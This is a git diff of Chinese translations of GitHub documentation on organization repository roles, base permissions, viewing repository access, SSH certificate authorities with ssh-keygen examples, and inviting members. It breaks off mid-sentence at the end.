管理[个人](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)、[团队](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)和[外部协作者](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)对存储库的访问 | | | | | ✔️ | +| 从人员或团队的已分配仓库拉取 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 复刻人员或团队的已分配仓库 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 编辑和删除自己的评论 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 打开议题 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 关闭自己打开的议题 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 重新打开自己关闭的议题 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 受理议题 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 从团队已分配仓库的复刻发送拉取请求 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 提交拉取请求审查 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 查看已发布的版本 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ |{% ifversion fpt or ghec %} +| 查看 [GitHub Actions 工作流运行](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ |{% endif %} +| 编辑公共仓库中的 Wiki | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| 编辑私有仓库中的 Wiki | | | ✔️ | ✔️ | ✔️ |{% ifversion fpt or ghec %} +| [举报滥用或垃圾内容](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ |{% endif %} +| 应用/忽略标签 | | ✔️ | ✔️ | ✔️ | ✔️ | +| 创建、编辑、删除标签 | | | ✔️ | ✔️ | ✔️ | +| 关闭、重新打开和分配所有议题与拉取请求 | | ✔️ | ✔️ | ✔️ | ✔️ | +| [针对拉取请求启用和禁用自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | ✔️ | ✔️ | ✔️ | +| 应用里程碑 | | ✔️ | ✔️ | ✔️ | ✔️ | +| 标记[重复问题和拉取请求](/articles/about-duplicate-issues-and-pull-requests)| | ✔️ | ✔️ | ✔️ | ✔️ | +| 请求[拉取请求审查](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | ✔️ | ✔️ | ✔️ | ✔️ | +| 合并[拉取请求](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | ✔️ | ✔️ | ✔️ | +| 推送到(写入)人员或团队的已分配仓库 | | | ✔️ | ✔️ | ✔️ | +| 编辑和删除任何人对提交、拉取请求和议题的评论 | | | ✔️ | ✔️ | ✔️ | +| [隐藏任何人的评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | ✔️ | ✔️ | ✔️ | +| [锁定对话](/communities/moderating-comments-and-conversations/locking-conversations) | | | ✔️ | ✔️ | ✔️ | +| 转移问题(有关详细信息,请参阅“[将问题转移到其他存储库](/articles/transferring-an-issue-to-another-repository)”) | | | ✔️ | ✔️ | ✔️ | +| [作为存储库的指定代码所有者](/articles/about-code-owners) | | | ✔️ | ✔️ | ✔️ | +| [将拉取请求草稿标记为可供审查](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | ✔️ | ✔️ | ✔️ | +| [将拉取请求转换为草稿](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | ✔️ | ✔️ | ✔️ | +| 提交影响拉取请求可合并性的审查 | | | ✔️ | ✔️ | ✔️ | +| [将建议的更改应用于](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)拉取请求 | | | ✔️ | ✔️ | ✔️ | +| 创建[状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | ✔️ | ✔️ | ✔️ |{% ifversion fpt or ghec %} +| 创建、编辑、运行、重新运行和取消 [GitHub Actions 工作流](/actions/automating-your-workflow-with-github-actions/) | | | ✔️ | ✔️ | ✔️ |{% endif %} +| 创建和编辑发行版 | | | ✔️ | ✔️ | ✔️ | +| 查看发行版草稿 | | | ✔️ | ✔️ | ✔️ | +| 编辑仓库的说明 | | | | ✔️ | ✔️ |{% ifversion fpt or ghae or ghec %} +| [查看和安装包](/packages/publishing-and-managing-packages) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| [发布包](/packages/publishing-and-managing-packages/publishing-a-package) | | | ✔️ | ✔️ | ✔️ | +| [删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package) | | | | | ✔️ | {% endif %} +| 管理[主题](/articles/classifying-your-repository-with-topics) | | | | ✔️ | ✔️ | +| 启用 wiki 和限制 wiki 编辑器 | | | | ✔️ | ✔️ | +| 启用项目板 | | | | ✔️ | ✔️ | +| 配置[拉取请求合并](/articles/configuring-pull-request-merges) | | | | ✔️ | ✔️ | +| [为 {% data variables.product.prodname_pages %} 配置发布源](/articles/configuring-a-publishing-source-for-github-pages) | | | | ✔️ | ✔️ | +| [管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule) | | | | | ✔️ | +| [推送到受保护的分支](/articles/about-protected-branches) | | | | ✔️ | ✔️ | +| 合并受保护分支上的拉取请求(即使没有批准审查) | | | | | ✔️ |{% ifversion fpt or ghes > 3.4 or ghae-issue-6337 or ghec %} +| 创建与[标记保护规则](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)匹配的标记 | | | | ✔️ | ✔️ | +| 删除与[标记保护规则](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)匹配的标记 | | | | | ✔️ |{% endif %} +| [创建和编辑存储库社交卡](/articles/customizing-your-repositorys-social-media-preview) | | | | ✔️ | ✔️ |{% ifversion fpt or ghec %} +| 限制[存储库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | ✔️ | ✔️ |{% endif %} +| 删除问题(请参阅“[删除问题](/articles/deleting-an-issue)”) | | | | | ✔️ | +| [定义存储库的代码所有者](/articles/about-code-owners) | | | | | ✔️ | +| 将存储库添加到团队(有关详细信息,请参阅“[管理团队对组织存储库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)”) | | | | | ✔️ | +| [管理外部协作者对存储库的访问](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | ✔️ | +| [更改存储库的可见性](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | ✔️ | +| 将存储库设为模板(请参阅“[创建模板存储库](/articles/creating-a-template-repository)”) | | | | | ✔️ | +| 更改仓库设置 | | | | | ✔️ | +| 管理团队和协作者对仓库的权限 | | | | | ✔️ | +| 编辑仓库的默认分支 | | | | | ✔️ | +| 重命名存储库的默认分支(请参阅“[重命名分支](/github/administering-a-repository/renaming-a-branch)”) | | | | | ✔️ | +| 重命名存储库默认分支以外的其他分支(请参阅“[重命名分支](/github/administering-a-repository/renaming-a-branch)”) | | | ✔️ | ✔️ | ✔️ | +| 管理 web 挂钩和部署密钥 | | | | | ✔️ |{% ifversion fpt or ghec %} +| [管理专用存储库的数据使用设置](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository) | | | | | ✔️ |{% endif %} +| [管理存储库的分支创建策略](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | ✔️ | +| [将存储库转移到组织中](/articles/restricting-repository-creation-in-your-organization) | | | | | ✔️ | +| [从组织中删除或转移存储库](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | ✔️ | +| [存档存储库](/articles/about-archiving-repositories) | | | | | ✔️ |{% ifversion fpt or ghec %} +| 显示赞助按钮(请参阅“[在存储库中显示赞助按钮](/articles/displaying-a-sponsor-button-in-your-repository)”) | | | | | ✔️ |{% endif %} +| 创建对外部资源的自动链接引用,例如 Jira 或 Zendesk(请参阅“[配置自动链接以引用外部资源](/articles/configuring-autolinks-to-reference-external-resources)”) | | | | | ✔️ |{% ifversion discussions %} +| 在存储库中[启用 {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) | | | | ✔️ | ✔️ | +| 为 {% data variables.product.prodname_discussions %} [创建和编辑类别](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions) | | | | ✔️ | ✔️ | +| [将讨论移至其他类别](/discussions/managing-discussions-for-your-community/managing-discussions) | | | ✔️ | ✔️ | ✔️ | +| [将讨论转移](/discussions/managing-discussions-for-your-community/managing-discussions)到新的存储库| | | ✔️ | ✔️ | ✔️ | +| [管理置顶的讨论](/discussions/managing-discussions-for-your-community/managing-discussions) | | | ✔️ | ✔️ | ✔️ | +| [将问题批量转化为讨论](/discussions/managing-discussions-for-your-community/managing-discussions) | | | ✔️ | ✔️ | ✔️ | +| [锁定和解锁讨论](/discussions/managing-discussions-for-your-community/moderating-discussions) | | ✔️ | ✔️ | ✔️ | ✔️ | +| [单独将问题转化为讨论](/discussions/managing-discussions-for-your-community/moderating-discussions) | | ✔️ | ✔️ | ✔️ | ✔️ | +| [创建新讨论并对现有讨论发表评论](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| [删除讨论](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion) | | ✔️ | | ✔️ | ✔️ |{% endif %}{% ifversion fpt or ghec %} +| 创建[代码空间](/codespaces/about-codespaces) | | | ✔️ | ✔️ | ✔️ |{% endif %} + +### 安全功能的访问要求 + +在本节中,您可以找到一些安全功能所需的访问权限,例如 {% data variables.product.prodname_advanced_security %} 功能。 + +| 仓库操作 | 读取 | 会审 | 写入 | 维护 | 管理员 | +|:---|:---:|:---:|:---:|:---:|:---:| +| 接收存储库中[不安全的依赖项的 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) | | | | | ✔️ | +| [忽略 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | ✔️ |{% ifversion ghes or ghae or ghec %} +| [指定其他人员或团队接收安全警报](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | ✔️ |{% endif %}{% ifversion fpt or ghec %} +| 创建[安全通告](/code-security/security-advisories/about-github-security-advisories) | | | | | ✔️ |{% endif %}{% ifversion ghes or ghae or ghec %} +| 管理对 {% data variables.product.prodname_GH_advanced_security %} 功能的访问(请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”) | | | | | ✔️ |{% endif %}{% ifversion fpt or ghec %} +| 为专用存储库[启用依赖项关系图](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) | | | | | ✔️ |{% endif %}{% ifversion ghes or ghae or ghec %} +| [查看依赖项审查](/code-security/supply-chain-security/about-dependency-review) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ |{% endif %} +| [查看拉取请求上的 {% data variables.product.prodname_code_scanning %} 警报](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| [列出、忽略和删除 {% data variables.product.prodname_code_scanning %} 警报](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | ✔️ | ✔️ | ✔️ | +| [查看存储库中的 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | ✔️{% ifversion not ghae %}[1]{% endif %} | ✔️{% ifversion not ghae %}[1]{% endif %} | ✔️ |{% ifversion ghes or ghae or ghec %} +| [解决、撤销或重新打开 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | ✔️{% ifversion not ghae %}[1]{% endif %} | ✔️{% ifversion not ghae %}[1]{% endif %} | ✔️ |{% endif %}{% ifversion ghes or ghae or ghec %} +| [指定其他人员或团队接收存储库中的 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | ✔️ |{% endif %} + +[1] 仓库作者和维护者只能看到他们自己提交的警报信息。 + +## 延伸阅读 + +- [管理对组织存储库的访问](/articles/managing-access-to-your-organization-s-repositories) +- [将外部协作者添加到组织中的存储库](/articles/adding-outside-collaborators-to-repositories-in-your-organization) +- [组织的项目板权限](/articles/project-board-permissions-for-an-organization) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md new file mode 100644 index 0000000000..4ea916de37 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md @@ -0,0 +1,45 @@ +--- +title: 为组织设置基本权限 +intro: 您可以为组织拥有的仓库设置基本权限。 +permissions: Organization owners can set base permissions for an organization. +redirect_from: +- /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Set base permissions +ms.openlocfilehash: 734ced023e4a1043634650ff3e4305727397095c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146179925" +--- +## 关于组织的基本权限 + +您可以在访问组织的任何仓库时设置适用于组织所有成员的基本权限。 基本权限不适用于外部协作者。 + +{% ifversion fpt or ghec %}默认情况下,组织的成员将对组织的存储库拥有读取权限。{% endif %} + +如果对组织存储库具有管理员访问权限的人员向成员授予对存储库的更高级别的访问权限,则较高级别的访问权限将覆盖基本权限。 + +{% ifversion custom-repository-roles %} 如果你创建了继承角色的访问权限低于组织基本权限的自定义存储库角色,则分配给该角色的任何成员都将默认使用组织的基本权限,而不是继承的角色。 有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 +{% endif %} + +## 设置基本权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} +5. 在“Base permissions(基本权限)”下,使用下拉菜单选择新的基本权限。 + ![从基本权限下拉菜单中选择新的权限级别](/assets/images/help/organizations/base-permissions-drop-down.png) +6. 查看更改。 要确认,请单击“将默认权限更改为 PERMISSION”。 + ![审查并确认基本权限的更改](/assets/images/help/organizations/base-permissions-confirm.png) + +## 延伸阅读 + +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) +- [将外部协作者添加到组织中的存储库](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md new file mode 100644 index 0000000000..e4128cdffa --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md @@ -0,0 +1,47 @@ +--- +title: 查看具有仓库访问权限的人员 +intro: 您可以查看{% ifversion ghec or ghes or ghae %} 和导出{% endif %} 拥有组织内仓库访问权限的人员列表。 +redirect_from: +- /articles/viewing-people-with-access-to-your-repository +- /github/setting-up-and-managing-organizations-and-teams/viewing-people-with-access-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: View people with access +permissions: Organization owners can view people with access to a repository. +ms.openlocfilehash: 01ee5b1844e32b4ba631fda67babaa9e9f8a982e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147066632" +--- +## 关于有权访问您的存储库的人员列表 + +您可以使用此信息来帮助离职人员、收集合规性数据以及其他常规安全检查。 + +{% ifversion fpt %} 使用 {% data variables.product.prodname_ghe_cloud %} 的组织还可以导出有权访问存储库的人员的 CSV 列表。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository)。 +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} ![访问管理概述](/assets/images/help/repository/manage-access-overview.png) {% else %} ![仓库人员权限列表](/assets/images/help/repository/repository-permissions-list.png) {% endif %} +## 查看具有仓库访问权限的人员 + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} 你可以在存储库设置中查看团队和具有存储库访问权限的团队和人员的组合概述。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#about-access-management-for-repositories)”。 {% else %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.accessing-repository-people %} {% endif %} + +{% ifversion ghec or ghes or ghae %} +## 导出具有您的仓库访问权限人员的列表 + +{% ifversion ghec %} {% note %} + +**注意:** 只有使用 {% data variables.product.prodname_ghe_cloud %} 的组织才能导出有权访问存储库的人员列表。 {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} {% endif %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.accessing-repository-people %} +4. 单击“导出 CSV”。 + ![存储库边栏中的“人员”选项卡](/assets/images/help/repository/export-repository-permissions.png) {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md b/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md index 99c980c99f..329990ae11 100644 --- a/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md +++ b/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md @@ -1,6 +1,6 @@ --- -title: About SSH certificate authorities -intro: 'With an SSH certificate authority, your organization or enterprise account can provide SSH certificates that members can use to access your resources with Git.' +title: 关于 SSH 认证中心 +intro: 通过 SSH 认证中心,组织或企业帐户可提供 SSH 证书,供成员用来通过 Git 访问您的资源。 redirect_from: - /articles/about-ssh-certificate-authorities - /github/setting-up-and-managing-organizations-and-teams/about-ssh-certificate-authorities @@ -12,60 +12,64 @@ topics: - Organizations - Teams shortTitle: SSH certificate authorities +ms.openlocfilehash: c4940399efa3c1e88c68224c421de7f43f7ea89b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061977' --- +## 关于 SSH 认证中心 -## About SSH certificate authorities - -An SSH certificate is a mechanism for one SSH key to sign another SSH key. If you use an SSH certificate authority (CA) to provide your organization members with signed SSH certificates, you can add the CA to your enterprise account or organization to allow organization members to use their certificates to access organization resources. +SSH 证书是一种机制:一个 SSH 密钥对另一个 SSH 密钥签名。 如果使用 SSH 认证中心 (CA) 为组织成员提供已签名的 SSH 证书,您可以将 CA 添加到企业帐户或组织,以便组织成员使用其证书访问组织资源。 {% data reusables.organizations.ssh-ca-ghec-only %} -After you add an SSH CA to your organization or enterprise account, you can use the CA to sign client SSH certificates for organization members. Organization members can use the signed certificates to access your organization's repositories (and only your organization's repositories) with Git. Optionally, you can require that members use SSH certificates to access organization resources. For more information, see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" and "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)." +在将 SSH CA 添加到组织或企业帐户后,您可以使用 CA 为组织成员签名客户 SSH 证书。 组织成员可以使用已签名的证书通过 Git 访问组织的仓库(并且只访问您组织的仓库)。 (可选)您可以要求成员使用 SSH 证书访问组织资源。 有关详细信息,请参阅“[管理组织的 SSH 证书颁发机构](/articles/managing-your-organizations-ssh-certificate-authorities)”和“[在企业中强制实施安全设置策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)”。 -For example, you can build an internal system that issues a new certificate to your developers every morning. Each developer can use their daily certificate to work on your organization's repositories on {% data variables.product.product_name %}. At the end of the day, the certificate can automatically expire, protecting your repositories if the certificate is later compromised. +例如,您可以构建内部系统,每天早上向开发者颁发新证书。 每个开发者可以使用其每日证书处理组织在 {% data variables.product.product_name %} 上的仓库。 在一天结束时,证书会自动到期,以保护仓库,避免证书以后被窃取。 -{% ifversion ghec %} -Organization members can use their signed certificates for authentication even if you've enforced SAML single sign-on. Unless you make SSH certificates a requirement, organization members can continue to use other means of authentication to access your organization's resources with Git, including their username and password, {% data variables.product.pat_generic %}s, and their own SSH keys. +{% ifversion ghec %} 即使实施了 SAML 单一登录,组织成员也可使用其签名的证书进行身份验证。 除非您将 SSH 证书设为要求,组织成员可继续使用其他验证方式通过 Git 访问组织的资源,包括他们的用户名和密码、个人访问令牌及其自己的 SSH 密钥。 {% endif %} -Members will not be able to use their certificates to access forks of your repositories that are owned by their personal accounts. +成员将无法使用其证书访问其个人帐户拥有的仓库的复刻。 -## About SSH URLs with SSH certificates +## 关于使用 SSH 证书的 SSH URL -If your organization requires SSH certificates, to prevent authentication errors, organization members should use a special URL that includes the organization ID when performing Git operations over SSH. This special URL allows the client and server to more easily negotiate which key on the member's computer should be used for authentication. If a member uses the normal URL, which starts with `git@github.com`, the SSH client might offer the wrong key, causing the operation to fail. +如果您的组织需要 SSH 证书,为了防止身份验证错误,组织成员在通过 SSH 执行 Git 操作时应使用包含组织 ID 的特殊 URL。 此特殊 URL 允许客户端和服务器更轻松地协商应使用成员计算机上的哪个密钥进行身份验证。 如果成员使用以 `git@github.com` 开头的正常 URL,则 SSH 客户端可能会提供错误的密钥,从而导致操作失败。 -Anyone with read access to the repository can find this URL by selecting the **Code** dropdown menu on the main page of the repository, then clicking **Use SSH**. +对存储库具有读取访问权限的任何人都可以通过以下方式找到此 URL:选择存储库主页上的“代码”下拉菜单,然后单击“使用 SSH” 。 -If your organization doesn't require SSH certificates, members can continue to use their own SSH keys, or other means of authentication. In that case, either the special URL or the normal URL, which starts with `git@github.com`, will work. +如果您的组织不需要 SSH 证书,则成员可以继续使用自己的 SSH 密钥或其他身份验证方式。 在这种情况下,特殊 URL 或以 `git@github.com` 开头的正常 URL 将起作用。 -## Issuing certificates +## 颁发证书 -When you issue each certificate, you must include an extension that specifies which {% data variables.product.product_name %} user the certificate is for. For example, you can use OpenSSH's `ssh-keygen` command, replacing _KEY-IDENTITY_ with your key identity and _USERNAME_ with a {% data variables.product.product_name %} username. The certificate you generate will be authorized to act on behalf of that user for any of your organization's resources. Make sure you validate the user's identity before you issue the certificate. +在颁发每个证书时,必须包含扩展,以指定证书用于哪个 {% data variables.product.product_name %} 用户。 例如,你可以使用 OpenSSH 的 `ssh-keygen` 命令,将 _KEY-IDENTITY_ 替换为密钥标识,_USERNAME_ 替换为 {% data variables.product.product_name %} 用户名。 您生成的证书将授权代表该用户使用您组织的任何资源。 在签发证书之前,请确保验证用户的身份。 {% note %} -**Note:** You must update to OpenSSH 7.6 or later to use these commands. +注意:必须更新到 OpenSSH 7.6 或更高版本才能使用这些命令。 {% endnote %} ```shell -$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME ./user-key.pub +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME ./user-key.pub ``` {% warning %} -**Warning**: After a certificate has been signed and issued, the certificate cannot be revoked. Make sure to use the -`V` flag to configure a lifetime for the certificate, or the certificate can be used indefinitely. +警告:证书签名并颁发后,无法吊销。 请确保使用 -`V` 标志来配置证书的生存期,否则证书可以无限期使用。 {% endwarning %} -To issue a certificate for someone who uses SSH to access multiple {% data variables.product.company_short %} products, you can include two login extensions to specify the username for each product. For example, the following command would issue a certificate for _USERNAME-1_ for the user's account for {% data variables.product.prodname_ghe_cloud %}, and _USERNAME-2_ for the user's account on {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} at _HOSTNAME_. +要为使用 SSH 访问多个 {% data variables.product.company_short %} 产品的人颁发证书,您可以包括两个登录扩展,以指定每个产品的用户名。 例如,以下命令将为 {% data variables.product.prodname_ghe_cloud %} 的用户帐户颁发 _USERNAME-1_ 的证书,为 _HOSTNAME_ 处的 {% data variables.product.prodname_ghe_managed %} 或 {% data variables.product.prodname_ghe_server %} 上的用户帐户颁发 _USERNAME-2_ 的证书。 ```shell -$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@github.com=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@github.com=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub ``` -You can restrict the IP addresses from which an organization member can access your organization's resources by using a `source-address` extension. The extension accepts a specific IP address or a range of IP addresses using CIDR notation. You can specify multiple addresses or ranges by separating the values with commas. For more information, see "[Classless Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)" on Wikipedia. +可以使用 `source-address` 扩展来限制组织成员用来访问组织资源的 IP 地址。 扩展接受采用 CIDR 表示法的特定 IP 地址或一个 IP 地址范围。 您可以指定多个地址或范围,用逗号分隔值。 有关详细信息,请参阅 Wikipedia 上的“[无类别域际路由](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)”。 ```shell -$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub +$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub ``` diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md index 3228b6aa3f..889f6f9bb9 100644 --- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md @@ -1,6 +1,6 @@ --- -title: Inviting users to join your organization -intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.location.product_location %}.' +title: Inviting users to join your organization(邀请用户加入你的组织) +intro: '您可以使用任何人的 {% data variables.product.product_location %} 用户名或电子邮件地址邀请他们成为您组织的成员。' permissions: Organization owners can invite users to join an organization. redirect_from: - /articles/adding-or-inviting-members-to-a-team-in-an-organization @@ -13,30 +13,26 @@ topics: - Organizations - Teams shortTitle: Invite users to join +ms.openlocfilehash: f0b5d1c41fc5f348077a77d29ac4be309c1cad0f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145097336' --- +## 关于组织邀请 -## About organization invitations - -If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." +如果您的组织采用付费的每用户订阅,则必须有未使用的许可才可邀请新成员加入组织或恢复前组织成员。 有关详细信息,请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。 {% data reusables.organizations.org-invite-scim %} -If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." +如果您的组织要求成员使用双重身份验证,则您邀请的用户在接受邀请之前必须启用双重身份验证。 有关详细信息,请参阅“[要求在组织中进行双因素身份验证](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)”和“[使用双因素身份验证 (2FA) 保护帐户](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)”。 -{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM for 